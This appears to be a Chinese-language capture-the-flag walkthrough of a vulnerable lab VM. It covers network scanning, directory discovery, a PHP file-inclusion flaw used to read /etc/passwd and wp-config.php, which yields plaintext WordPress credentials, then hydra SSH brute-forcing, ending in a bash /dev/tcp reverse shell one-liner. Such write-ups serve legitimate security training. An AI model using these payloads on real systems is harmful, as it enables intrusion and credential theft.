一.环境准备
1.1Red靶机环境准备
1.1.1首先将我们解压好的的jangow-01-1.0.1.ova放入虚拟机里，并配置环境。安装好靶机后打开进行配置，按住shift，在界面按e进去得到图二。
1.1.2按住ctrl+x，ip a查看网卡信息,修改网络配置文件 /etc/network/interfaces 文件（没有的话去/etc/netplan目录下的yaml文件）,将里面的内容修改为下图所示。然后重启虚拟机。
1.1.3使用nano /etc/netplan/00-installer-config.yaml编写yaml文件，按 Ctrl + O 保存，再按 Ctrl + X 退出，重启靶机
二.信息搜集
2.1ip搜集
2.1.1arp-scan -l 扫描靶机ip，发现靶机ip为192.168.182.139
2.2端口扫描
2.2.1使用nmap工具对目标机进行端口扫描，发现开启了80,22端口
2.3目录扫描
2.3.1使用我们kali对目标靶机进行目录探测,用dirb命令，发现robots.txt
2.3.2访问robots.txt,看看有无可用信息,给出了一个新的网址域名。
三.搜索漏洞注入点
3.1.1在我们点击其他功能的时候出现了其他域名，并且告诉我们没有找不到网站，观察URL，这里面的网址和我们访问robots的时候给我们的网址是一样的，所以我们还需要更改我们的配置文件，这样我们才能够跳转到相应界面。因为我们是在Windows上访问我们的网站所以更改的是Windows的配置文件hosts，没有权限按下列步骤更改权限
3.1.2更改完权限后执行下列代码。将自己的ip与这个写入hosts文件中保存，就可以正常访问了
3.1.3鼠标右键查看页面源代码，浏览到77行时，有一串注释让我们寻找这个人的帮助，去浏览器中查询
3.1.4搜索这个人名之后，最终的目的是要下载这个文件，最后发现了这个文件并访问2
<1>https://github.com/Craigonanda/CommonBackdoors-PHP.fuzz.txt
<2>http://redrocks.win/NetworkFileManagerPHP.php?key=/etc/passwd
使用php伪协议访问:http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php
3.1.4通过base64解码得到如下的数据,经解码发现后，还有一串代码，尝试base64解码
3.1.5提到了账号密码,然后网站用的是wordpress框架,然后就开始找和wordpress账号密码有关的文件,利用文件包含去读取,而wordpress框架的配置文件是wp-config.php，base64解码后得到用户: john 密码: R3v_m4lwh3r3_k1nG!!
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php
3.1.6使用ssh登录，建立连接，建立失败
建立pass.txt文件,将之前配置文件那个密码放入,然后利用hashcat对应的base64规则去枚举相关的密码,存入passlist.txt中,格式是类似于之前获得的那个密码的,最好利用hydra进行爆破,获得对应的密码
四.漏洞利用
4.1登录，并触发反弹shell
bash -c 'bash -i >& /dev/tcp/192.168.182.130/443 0>&1'
